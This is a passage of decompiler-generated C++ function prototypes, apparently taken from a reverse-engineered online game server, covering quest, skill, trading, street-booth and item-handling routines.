int item, int delta); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_QUEST_SCRIPT_CMD_ACK(void *this, int netcmd, int len, __int16 handle); void __thiscall GameDBSession::gds_NC_QUEST_DB_SET_INFO_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_QUEST_DB_CLEAR_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_QUEST_DB_GIVE_UP_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_QUEST_GIVE_UP_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_QUEST_CLIENT_SCENARIO_DONE_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_QUEST_SELECT_START_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_QUEST_REWARD_SELECT_ITEM_INDEX_CMD(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineRadian::ShineRadian(ShineRadian *this); int __thiscall ShineRadian::sr_sin1024(ShineRadian *this, int sr); int __thiscall ShineRadian::sr_cos1024(ShineRadian *this, int sr); int __thiscall ShineRadian::sr_degree2sr(ShineRadian *this, int deg); void __thiscall NPCAction::doTriggers_::doTriggers_(ShineRTTI *this, const char *pcName, ShineRTTI *pkBaseRTTI); void __thiscall VectorClass::UnitVector::Rotation(VectorClass::UnitVector *this, int Radian); void __thiscall FanFormSectorArgument::_FanFormSectorArgument(FanFormSectorArgument *this); int __thiscall ShineObjectClass::ShinePlayer::smo_ply_SkillCastSuccessPacket(int this); void __thiscall AxialListNearScanSkillEnemy::AxialListNearScanSkillEnemy(AxialListNearScanSkillEnemy *this); void __thiscall AxialListNearScanSkillParty::AxialListNearScanSkillParty(AxialListNearScanSkillParty *this); void __thiscall AxialListNearScanSkillFriend::AxialListNearScanSkillFriend(AxialListNearScanSkillFriend *this); void __thiscall AxialListNearScanSkillParty::_AxialListNearScanSkillParty(AxialListNearScanSkillFriend *this); int __thiscall ShineObjectClass::ShineMob::so_mobile_Teleport(void *this, int Location); void __thiscall AxialListMagicFieldAggro::_AxialListMagicFieldAggro(AxialListMagicFieldAggro *this); __int16 __thiscall ShineObjectClass::ShinePlayer::smo_ply_SkillCastFail(int this, __int16 err); bool __thiscall SkillEffectApply::SkillBlastEffect::operator__(SkillEffectApply::SkillBlastEffect *this, SkillEffectApply::SkillBlastEffect *sbe); void __thiscall ShineObjectClass::ShinePlayer::smo_ChineCastCut(void *this); unsigned __int16 __thiscall MemoryQueue::mq_Store(MemoryQueue *this, unsigned __int16 hnd, MemoryQueueSkillErase *content); void __thiscall FanFormSectorArgument::FanFormSectorArgument(FanFormSectorArgument *this); void __thiscall FanFormSectorArgument::FanFormSectorArgument(FanFormSectorArgument *this, #331 *, #331 *); void __thiscall ShineObjectClass::ShineMobileObject::smo_old_skill_blast(void *this, int idx, int a3, int skill, int empower); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLCASTABORT_CMD(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShineMobileObject::smo_CastAbort(void *this); void __thiscall ShineObjectClass::ShinePlayer::smo_CastAbort(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLBASH_CASTABORT_CMD(void *this, int netcmd, int len, __int16 handle); char __thiscall AxialListNearScanSkillEnemy::alns_ValidObject(AxialListNearScanSkillEnemy *this, #331 *obj); char __thiscall AxialListNearScanSkillParty::alns_ValidObject(AxialListNearScanSkillParty *this, #331 *obj); char __thiscall AxialListNearScanSkillFriend::alns_ValidObject(AxialListNearScanSkillFriend *this, #331 *obj); int __thiscall ShineObjectClass::ShineMobileObject::smo_ClearSkillResultBuffer_Miss(_DWORD, _DWORD); // weak void __thiscall ShineObjectClass::ShineMobileObject::smo_SkillResultPacket(void *this, int idx, int targetpoint); void __cdecl ShineObjectClass::ShineObject::so_mobile_Teleport(); void __stdcall ShineObjectClass::ShineObject::so_mobile_Teleport(int Location); void __thiscall ShineObjectClass::ShineMob::so_mobile_Teleport(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_mobile_Teleport(int this, int Location); char __thiscall AxialListMagicFieldAggro::alns_ValidObject(AxialListMagicFieldAggro *this, #331 *obj); void __thiscall AxialListMagicFieldAggro::almfa_AppendAggro(AxialListMagicFieldAggro *this); void __thiscall ShineObjectClass::ShineMagicField::so_mgcfld_MagicFieldSpread(ShineObjectClass::ShineMagicField *this, unsigned __int16 hnd, #748 *caster, SkillDataBox::SkillDataIndex *idx, SHINE_XY_TYPE *targetlocate, SKILL_EMPOWER *emp); char __thiscall ShineObjectClass::ShineObject::so_BroadcastBriefInfo(#331 *this, #331 *, unsigned int); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_SKILL_UNLEARN_REQ(void *this, unsigned __int16 *netcmd, __int16 tmp, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::so_ply_SkillEraseItemUseSuccess(void *this); void __thiscall GameDBSession::gds_NC_SKILL_ERASE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall CharacterPassiveList::cpl_UnLearn(CharacterPassiveList *this, unsigned __int16 skill); MobExplosionElement::MobExplosionBase *__thiscall ShineObjectClass::ShineServant::ss_ExplosionReady(ShineObjectClass::ShineServant *this); MobExplosionElement::MobExplosionBase *__thiscall MobExplosionElement::MobExplosionBase::meb_Routine(MobExplosionElement::MobExplosionBase *this, ShineObjectClass::ShineServant *mob); MobExplosionElement::MobExplosionBase *__thiscall MobExplosionElement::MobExplosionEnemy::meb_Routine(MobExplosionElement::MobExplosionEnemy *this, ShineObjectClass::ShineServant *mob); MobExplosionElement::MobExplosionBase *__thiscall MobExplosionElement::MobExplosionTarget::meb_Routine(MobExplosionElement::MobExplosionTarget *this, ShineObjectClass::ShineServant *mob); MobExplosionElement::MobExplosionBase *__thiscall MobExplosionElement::MobExplosionAlways::meb_Routine(MobExplosionElement::MobExplosionAlways *this, ShineObjectClass::ShineServant *mob); void __thiscall ShineObjectClass::ShinePlayer::sp_SkillShiftCancel(void *this); void __thiscall ShineObjectClass::ShinePlayer::smo_old_skill_blast(void *this, int idx, int a3, int skill, int empower); void __thiscall ShineObjectClass::ShineMobileObject::smo_SkillBash_Casting(void *this, int sklidx, int a3, int loc, int casting_millisec); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLBASH_CASTABORT_REQ(void *this, int netcmd, int len, __int16 handle); char __thiscall ShineObjectClass::ShineMobileObject::smo_SkillCooltimeSet(void *this); int __thiscall ShineObjectClass::ShineMobileObject::smo_SkillBlastOption(void *this); int __thiscall ShineObjectClass::ShineMobileObject::smo_MagicFieldSpread(_DWORD, _DWORD); // weak void __thiscall ShineObjectClass::ShinePlayer::sp_ReviveNow(void *this, unsigned __int16 healrate); char __thiscall ShineObjectClass::ShineMob::sm_UseSkillSimple(void *this, int skillIndex, int a3, int loc); void __stdcall ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLCAST_REQ(int netcmd, int len, __int16 handle); void __thiscall ServerMenuFuncter::smfm_Revive(ServerMenuFuncter *this, #440 *, ServerMenuArgument *); void __thiscall CharaterSkillList::csl_UnLearn(CharaterSkillList *this, unsigned __int16 skill); void __thiscall ShineObjectClass::ShinePlayer::so_UnlearnSkillAck(void *this, int ack); std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Val); void __thiscall std::vector>::push_back(std::vector > *this, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Val); void __thiscall SkillEffectApply::SkillDamageSender::sds_TemplateStore(SkillEffectApply::SkillDamageSender *this, #748 *, SkillResultBuffer *, int, int, int, int); int __thiscall ShineObjectClass::ShineMobileObject::smo_SkillBlast(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // weak void __thiscall AxialListScanSkillTarget::alsst_SkillBlast(AxialListScanSkillTarget *this, SkillDataBox::SkillDataIndex *idx, SKILL_EMPOWER *empower, int num); void __thiscall ShineObjectClass::ShineMobileObject::smo_SkillBash_Blast(void *caster, int targetlocate, int empower); void __thiscall ShineObjectClass::ShineMobileObject::smo_SkillBash_Blast(#331 *, SKILL_EMPOWER *); void __thiscall ShineObjectClass::ShineMobileObject::smo_SkillBash_Blast_Trap(void *this, int targetlocate, SKILL_EMPOWER *empower, int sklidx); void __thiscall ShineObjectClass::ShineMobileObject::smo_SkillBash_Blast_Trap(#331 *, SKILL_EMPOWER *, SkillDataBox::SkillDataIndex *); void __thiscall SkillEffectApply::SkillBlastEffect::sbe_BlastObject(SkillEffectApply::SkillBlastEffect *this); void __thiscall SkillEffectApply::SkillBlastEffect::sbe_BlastLocate(SkillEffectApply::SkillBlastEffect *this); int __cdecl SkillDataBox::sdb_compare(const void *a, const void *b); AbnormalStateInfo::ABSTATEINDEX __thiscall SkillDataBox::sdb_load_IndexSearch(SkillDataBox *this, char *name); void __thiscall SkillDataBox::SkillDataIndex::sdi_SetAbstate(SkillDataBox::SkillDataIndex *this, int sub, char *statename, int strength, int rate); void __thiscall SkillDataBox::SkillDataIndex::sdi_Clear(SkillDataBox::SkillDataIndex *this); void __thiscall SkillDataBox::SkillDataIndex::sdi_SetArgument(SkillDataBox::SkillDataIndex *this, ActiveSkillInfo::SkillSpecial ss, int arg); char __thiscall PassiveDataBox::sdb_Next(PassiveDataBox *this, int *sub); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryData *__thiscall SkillDataBox::__unnamed::__unnamed(BinaryData *this); void __thiscall SkillDataBox::__unnamed::___unnamed(BinaryData *this); void __thiscall SkillDataBox::_SkillDataBox(SkillDataBox *this); void __thiscall SkillDataBox::sdb_Load(SkillDataBox *this, Name4 *world); SkillDataBox::SkillDataIndex *__thiscall SkillDataBox::GetSkillIndexByName(SkillDataBox *this, const char *pkName); void __thiscall PassiveDataBox::PassiveDataBox(PassiveDataBox *this); void __thiscall PassiveDataBox::pdb_Load(PassiveDataBox *this, Name4 *world); PassiveSkillInfo *__thiscall PassiveDataBox::sdb_Get(PassiveDataBox *this, int *sub); void __thiscall SkillDataBox::SkillDataBox(SkillDataBox *this); char __cdecl SlantedCoordList::operator<(SlantedCoordList::CoordedNode *a, SlantedCoordList::CoordedNode *b); void __thiscall SlantedCoordList::ObjectXCoordNode::ObjectXCoordNode(SlantedCoordList::ObjectXCoordNode *this); int __thiscall SlantedCoordList::ObjectXCoordNode::ocn_type(SlantedCoordList::ObjectXCoordNode *this); int __thiscall SlantedCoordList::ObjectXCoordNode::ocn_Getlocation(SlantedCoordList::ObjectXCoordNode *this); void __thiscall SlantedCoordList::ObjectYCoordNode::ObjectYCoordNode(SlantedCoordList::ObjectYCoordNode *this); int __thiscall SlantedCoordList::ObjectYCoordNode::ocn_type(SlantedCoordList::ObjectYCoordNode *this); int __thiscall SlantedCoordList::ObjectYCoordNode::ocn_Getlocation(SlantedCoordList::ObjectYCoordNode *this); void __thiscall SlantedCoordList::CoordedNode::CoordedNode(SlantedCoordList::CoordedNode *this); char __thiscall SlantedCoordList::CoordedNode::cn_AppendList(SlantedCoordList::CoordedNode *this, SlantedCoordList::CoordedNode *chainlist); void __thiscall SlantedCoordList::CoordedNode::cn_MakeLink(SlantedCoordList::CoordedNode *this, SlantedCoordList::CoordedNode *chain); void __thiscall SlantedCoordList::CoordedNode::cn_MakeLink2(SlantedCoordList::CoordedNode *this, SlantedCoordList::CoordedNode *chain); void __thiscall SlantedCoordList::CoordedNode::cn_Rearrange(SlantedCoordList::CoordedNode *this, #592 *, #331 *); int __thiscall ShineObjectClass::ShinePlayer::sp_PointStoneBuy(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD); void __thiscall GameDBSession::gds_NC_ITEMDB_SOULSTONEBUYSUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_SOULSTONEBUYFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::sp_HPStoneUse(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_SPStoneUse(void *this); void __cdecl ShineObjectClass::ShinePlayer::sp_PointStone_NotInit(); void __thiscall ShineObjectClass::ShinePlayer::sp_HPStoneReserv(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_SPStoneReserv(void *this); // void __userpurge ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_HP_BUY_REQ(int a1, int a2, int netcmd, int len, __int16 handle); // void __userpurge ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_SP_BUY_REQ(int a1, int a2, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_HP_USE_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_SP_USE_REQ(void *this, int netcmd, int len, __int16 handle); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); void __thiscall SpamerPenaltyDataBox::SpamerPenaltyDataBox(SpamerPenaltyDataBox *this); void __thiscall SpamerPenaltyDataBox::_SpamerPenaltyDataBox(SpamerPenaltyDataBox *this); void __thiscall SpamerPenaltyDataBox::spdb_Load(SpamerPenaltyDataBox *this); unsigned __int16 __thiscall SpamerPenaltyDataBox::spdb_SpamePenaltyGetSecondRule(SpamerPenaltyDataBox *this); char __thiscall SpamerPenaltyDataBox::spdb_SpamePenaltyGetRepeatRule(SpamerPenaltyDataBox *this); bool __thiscall SpamerPenaltyDataBox::spdb_SpamePenaltyGetChatBlockTime(SpamerPenaltyDataBox *this, char PenaltyLv, unsigned __int16 *BlockTime); bool __thiscall SpamerPenaltyDataBox::spdb_SpamePenaltyGetProbateTime(SpamerPenaltyDataBox *this, char PenaltyLv, unsigned __int16 *ProbateTime); void __thiscall MemoryQueue::MemoryQueue(MemoryQueue *this); unsigned __int16 __thiscall MemoryQueue::mq_Store(MemoryQueue *this, unsigned __int16 hnd, ShineItemAttr_BindItem::Bind *content); int __thiscall ShineObjectClass::ShinePlayer::sp_FindItemFromInventory(void *this, __int16 itemid, int loc); void __thiscall ShineObjectClass::ShinePlayer::so_ply_SparrowWingExpand(void *this, signed int limit); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MAP_WING_SAVE_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::so_ply_SparrowWingFly(void *this); void __thiscall SpyNet::EspionageAgent::EspionageAgent(SpyNet::EspionageAgent *this); void __thiscall SpyNet::IntelligenceOffice4Mob::IntelligenceOffice4Mob(SpyNet::IntelligenceOffice4Mob *this); void __thiscall SpyNet::IntelligenceOffice4Mob::_IntelligenceOffice4Mob(SpyNet::IntelligenceOffice4Mob *this); void __thiscall SpyNet::IntelligenceOffice4Mob::io_SRT_GETHEAL(SpyNet::IntelligenceOffice4Mob *this, #331 *, SpyNet::SecretReport *); void __thiscall SpyNet::IntelligenceOffice::io_ReadReport(SpyNet::IntelligenceOffice *this, #331 *, SpyNet::EspionageAgent *); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_CHAR_STAT_INCPOINT_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall GameDBSession::gds_NC_CHAR_STAT_INCPOINTSUC_DB_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_CHAR_STAT_INCPOINTFAIL_DB_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); // void __userpurge ShineObjectClass::ShinePlayer::sp_NC_CHAR_STAT_DECPOINT_REQ(int a1, int a2, int netcmd, int len, __int16 handle); void __thiscall GameDBSession::gds_NC_CHAR_STAT_DECPOINTSUC_DB_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::so_ply_StatDecrease(void *obj, int suc); void __thiscall GameDBSession::gds_NC_CHAR_STAT_DECPOINTFAIL_DB_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::sp_StatRemainSend(void *this); void __thiscall GameDBSession::gds_NC_CHAR_FREESTAT_SET_DB_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall StreetBooth::StreetBooth(StreetBooth *this); void __thiscall StreetBooth::_StreetBooth(StreetBooth *this); char __thiscall ShineObjectClass::ShineNPC::so_TentDistance(ShineObjectClass::ShineNPC *this, SHINE_XY_TYPE *boothloc); signed int __thiscall ShineObjectClass::ShinePlayer::so_TentDistance(void *this, int boothloc); char __thiscall ShineObjectClass::ShineMiniHouse::so_TentDistance(ShineObjectClass::ShineMiniHouse *this, SHINE_XY_TYPE *boothloc); void __thiscall StreetBoothSell::sb_RefreshError(StreetBoothBuy *this, #440 *, unsigned __int16); void __thiscall ShineObjectClass::ShinePlayer::so_ply_ShowBoothItem(#331 *, #440 *, char); void __thiscall ShineObjectClass::ShinePlayer::so_ply_BoothTrade(#440 *, PROTO_NC_BOOTH_ITEMTRADE_REQ *); int __thiscall ShineObjectClass::ShinePlayer::so_ply_IsInBoothInterior(int this); void __thiscall StreetBoothSell::sb_Open(StreetBoothSell *this, InventoryLocking::InventoryCellLock *locker); void __thiscall StreetBoothSell::sb_Close(StreetBoothSell *this, InventoryLocking::InventoryCellLock *locker); void __thiscall StreetBoothSell::sb_Clear(StreetBoothSell *this); void __thiscall StreetBoothBuy::sb_Clear(StreetBoothBuy *this); void __thiscall StreetBoothSell::sb_Boarding(StreetBoothSell *this, InventoryLocking::InventoryCellLock *locker, ItemInventoryCell *cell, PROTO_NC_BOOTH_OPEN_REQ::BoothItem *boothitem, #331 *owner); void __thiscall StreetBoothBuy::sb_Boarding(StreetBoothBuy *this, InventoryLocking::InventoryCellLock *locker, ItemInventoryCell *cell, PROTO_NC_BOOTH_OPEN_REQ::BoothItem *boothitem, #331 *owner); char __thiscall ShineObjectClass::ShineObject::so_TentPoint(#331 *this, #331 *, unsigned int); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_BOOTH_CLOSE_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall StreetBoothBuy::sb_Show2Client(StreetBoothBuy *this, #331 *, #440 *, char); int __thiscall StreetBoothSell::sbs_FillBufferItem(StreetBoothSell *this, #331 *, char *, PROTO_NC_BOOTH_ENTRY_SELL_ACK::BoothItemList *); StringMaker::Maker *__thiscall StringMaker::Maker::operator<<(StringMaker::Maker *this, const char *str); StringMaker::Maker *__thiscall StringMaker::Maker::operator<<(StringMaker::Maker *this, char chr); StringMaker::Maker *__thiscall StringMaker::Maker::operator<<(StringMaker::Maker *this, int num); StringMaker::Maker *__thiscall StringMaker::Maker::operator<<(StringMaker::Maker *this, Name3 *id); StringMaker::Maker *__thiscall StringMaker::Maker::operator<<(StringMaker::Maker *this, ItemInventoryCell *iic); StringMaker::Maker *__thiscall StringMaker::Maker::operator<<(StringMaker::Maker *this, StringMaker::Finisher *fin); void __stdcall ShineObjectClass::ShineObject::so_SendInform2Admin(int a1); void __thiscall ShineObjectClass::ShineMobileObject::so_SendInform2Admin(void *this, int a2); void __thiscall ShineObjectClass::ShinePlayer::so_SendInform2Admin(void *this, int a2); void __thiscall ShineObjectClass::ShineMob::so_SendInform2Admin(void *this, int a2); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_BOOTH_INTERIORSTART_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_BOOTH_OPEN_REQ(void *this, int netcmd, int i, __int16 handle); void __thiscall StreetBoothSell::sb_Show2Client(StreetBoothSell *this, #331 *, #440 *, char); void __thiscall StreetBoothBuy::StreetBoothBuy(StreetBoothBuy *this); void __thiscall StreetBoothBuy::_StreetBoothBuy(StreetBoothBuy *this); char *__thiscall AbnormalStateContainer::AbnormalStateElement::ase_IndexString(AbnormalStateContainer::AbnormalStateElement *this); char *__thiscall StreetBoothSell::sb_Type(StreetBoothSell *this); char *__thiscall StreetBoothBuy::sb_Type(StreetBoothBuy *this); void __thiscall StreetBoothBuy::sbb_BuyAll(StreetBoothBuy *this, #440 *, #440 *, PROTO_NC_BOOTH_ITEMTRADE_REQ *, unsigned __int64, ItemInventoryCell *, ItemInventoryCell *, int, int); void __thiscall StreetBoothBuy::sbb_BuyMerge(StreetBoothBuy *this, #440 *, #440 *, PROTO_NC_BOOTH_ITEMTRADE_REQ *, unsigned __int64, ItemInventoryCell *, ItemInventoryCell *, int, int); void __thiscall StreetBoothBuy::sbb_BuySplitCreate(StreetBoothBuy *this, #440 *, #440 *, PROTO_NC_BOOTH_ITEMTRADE_REQ *, unsigned __int64, ItemInventoryCell *, ItemInventoryCell *, int, int); void __thiscall StreetBoothBuy::sb_Trade(StreetBoothBuy *this, #440 *, #440 *, PROTO_NC_BOOTH_ITEMTRADE_REQ *); void __thiscall StreetBoothSell::StreetBoothSell(StreetBoothSell *this); void __thiscall StreetBoothSell::_StreetBoothSell(StreetBoothSell *this); void __thiscall StreetBoothSell::sbs_SellAll(StreetBoothSell *this, #440 *, #440 *, PROTO_NC_BOOTH_ITEMTRADE_REQ *, unsigned __int64, unsigned __int16); void __thiscall StreetBoothSell::sbs_SellMerge(StreetBoothSell *this, #440 *, #440 *, PROTO_NC_BOOTH_ITEMTRADE_REQ *, ItemBoxIterator *, unsigned __int64); void __thiscall StreetBoothSell::sbs_SellSplitCreate(StreetBoothSell *this, #440 *, #440 *, PROTO_NC_BOOTH_ITEMTRADE_REQ *, unsigned __int64); void __thiscall GameDBSession::gds_NC_ITEMDB_BOOTHTRADE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall StreetBoothSell::sb_Trade(StreetBoothSell *this, #440 *, #440 *, PROTO_NC_BOOTH_ITEMTRADE_REQ *); SubAbstatePriority::StateExchange __thiscall SubAbstatePriority::PriorityBase::bp_AbStateChange(SubAbstatePriority::PriorityBase *this, AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *oldparam, AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *newparam); void __thiscall TargetAnalyser::TargetAnalyser(TargetAnalyser *this); void __thiscall TargetAnalyser_Player::TargetAnalyser_Player(TargetAnalyser_Player *this); void __thiscall TargetAnalyser_Player::_TargetAnalyser_Player(TargetAnalyser_Player *this); char __thiscall TargetAnalyser::ta_me(TargetAnalyser *this, #331 *target); char __thiscall TargetAnalyser_Player::ta_enemy(TargetAnalyser_Player *this, #331 *target); char __thiscall TargetAnalyser_Player::ta_friend(TargetAnalyser_Player *this, #331 *target); void __thiscall ShineObjectClass::ShinePlayer::sp_ThirdPromote(void *this, __int16 questid, char classtype); void __thiscall TickTimer::TickTimer(TickTimer *this); void __thiscall TickTimer::TickTimer(TickTimer *this, unsigned int TickDeltaTime); bool __thiscall TickTimer::Enable(TickTimer *this, bool bEnable); bool __thiscall TickTimer::IsEnable(TickTimer *this); bool __thiscall TickTimer::CheckUpdateEvent(TickTimer *this, unsigned int TickDeltaTime); unsigned int __thiscall std::basic_string_std::allocator>::find(std::basic_string,std::allocator > *this, const char *_Ptr, unsigned int _Off, unsigned int _Count); std::basic_string,std::allocator > *__cdecl std::_Copy_backward_opt_std::allocator>___std::basic_string_std::allocator>__>(std::basic_string,std::allocator > *_First, std::basic_string,std::allocator > *_Last, std::basic_string,std::allocator > *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); void __cdecl std::fill_std::allocator>___std::basic_string_std::allocator>>(std::basic_string,std::allocator > *_First, std::basic_string,std::allocator > *_Last, std::basic_string,std::allocator > *_Val); std::basic_string,std::allocator > *__cdecl std::_Uninit_copy_std::allocator>___std::basic_string_std::allocator>___std::allocator_std::allocator>>>(std::basic_string,std::allocator > *_First, std::basic_string,std::allocator > *_Last, std::basic_string,std::allocator > *_Dest, std::allocator,std::allocator > > *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __cdecl std::_Uninit_fill_n_std::allocator>___unsigned_int_std::basic_string_std::allocator>_std::allocator_std::allocator>>>(std::basic_string,std::allocator > *_First, unsigned int _Count, std::basic_string,std::allocator > *_Val, std::allocator,std::allocator > > *_Al, std::_Nonscalar_ptr_iterator_tag __formal); std::basic_string,std::allocator > *__thiscall std::vector_std::allocator>_std::allocator_std::allocator>>>::_Ufill(std::vector,std::allocator >,std::allocator,std::allocator > > > *this, std::basic_string,std::allocator > *_Ptr, unsigned int _Count, std::basic_string,std::allocator > *_Val); void __thiscall std::vector_std::allocator>_std::allocator_std::allocator>>>::_Insert_n(std::vector,std::allocator >,std::allocator,std::allocator > > > *this, std::vector,std::allocator >,std::allocator,std::allocator > > >::iterator _Where, unsigned int _Count, std::basic_string,std::allocator > *_Val); std::vector,std::allocator >,std::allocator,std::allocator > > >::iterator *__thiscall std::vector_std::allocator>_std::allocator_std::allocator>>>::insert(std::vector,std::allocator >,std::allocator,std::allocator > > > *this, std::vector,std::allocator >,std::allocator,std::allocator > > >::iterator *result, std::vector,std::allocator >,std::allocator,std::allocator > > >::iterator _Where, std::basic_string,std::allocator > *_Val); void __thiscall std::vector_std::allocator>_std::allocator_std::allocator>>>::push_back(std::vector,std::allocator >,std::allocator,std::allocator > > > *this, std::basic_string,std::allocator > *_Val); void __cdecl tokenize(std::basic_string,std::allocator > *str, std::vector,std::allocator >,std::allocator,std::allocator > > > *result, std::basic_string,std::allocator > *delimiters, std::basic_string,std::allocator > *delimiters_preserve, std::basic_string,std::allocator > *quote, std::basic_string,std::allocator > *esc); char __thiscall ShineObjectClass::ShinePlayer::so_ply_ServerMenuactor_sma_IsReady(int this); void *__thiscall ShineObjectClass::ShineObject::so_CloseTradeMenu(void *this); // void __userpurge ShineObjectClass::ShinePlayer::sp_NC_TRADE_PROPOSE_REQ(int a1, int a2, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_TRADE_CANCEL_REQ(void *this, int netcmd, int len, __int16 handle); char __thiscall ShineObjectClass::ShinePlayer::so_tradepropose_timecheck(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_tradebreak(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_CloseStreetBooth(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_CloseByLink(void *this); void __thiscall TradeBoard::tb_Clear(void *this); char __thiscall ShineObjectClass::ShinePlayer::so_ply_TradeBoardUnlock(int this, int a2); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_TRADE_CENBOARDING_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_TRADE_BOARDLOCK_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall TradeBoard::tb_FillCen(void *this, int playerA, int playerB, int a4, int A, int B, int itemtrade); char __thiscall TradeBoard::tb_Get(void *this, int idx); char __thiscall TradeBoard::tb_Next(void *this, int idx); void __thiscall GameDBSession::gds_NC_ITEMDB_ITEMTRADEFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_ITEMTRADESUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); char __thiscall TradeBoard::tb_Home(void *this, int idx); char __stdcall TradeBoard::tb_FillTradeBuffer(int playerA, int playerB, int cellA, int cellB); signed int __thiscall TradeBoard::tb_OffBoard(void *this, signed int boardslot); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_TRADE_DOWNBOARD_REQ(void *this, int netcmd, int len, __int16 handle); signed int __thiscall TradeBoard::tb_OnBoard(void *this, char invenslot); // void __userpurge ShineObjectClass::ShinePlayer::sp_NC_TRADE_UPBOARD_REQ(int a1, int a2, int netcmd, int slot, __int16 handle); int __thiscall TreasureChestMaker::tcm_GetItemNum(TreasureChestMaker *this); void __thiscall TreasureChestMaker::TreasureChestMaker(TreasureChestMaker *this, unsigned __int16 chest, int makeflag, int chestflag); void __thiscall TreasureChestMaker::_TreasureChestMaker(TreasureChestMaker *this); unsigned __int16 __thiscall TreasureChestMaker::tcm_ItemMake(TreasureChestMaker *this, ItemTotalInformation *iti); unsigned __int16 __thiscall TreasureChestMaker::tcm_ItemMake(TreasureChestMaker *this, int makeflag, ShineReward *reward, unsigned int clsmask); int __thiscall TreasureChestMaker::tcm_PutInto(TreasureChestMaker *this, int from, PROTO_ITEM_CMD *itmlst, int emptyslot, TreasureChestLocationManager *tcm, unsigned __int16 nInvenType); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); void __thiscall UpgradeDataBox::UpgradeDataBox(UpgradeDataBox *this); void __thiscall UpgradeDataBox::udb_Load(UpgradeDataBox *this, Name4 *world); SkillDataBox::SkillDataIndex *__thiscall UseEffect::UsedItemEffect::uie_UseSkillID(UseEffect::UsedItemEffect *this, char *skillname); void __thiscall UseEffect::UsedItemEffect::uie_BroadCast(UseEffect::UsedItemEffect *this, unsigned __int16 item, char bc); void __thiscall UseEffect::UsedItemEffect::uie_SetChargedBuffer(UseEffect::UsedItemEffect *this, unsigned __int16 item, UseEffect::UseItemBase *uib, SkillDataBox::SkillDataIndex *uie); char *__thiscall 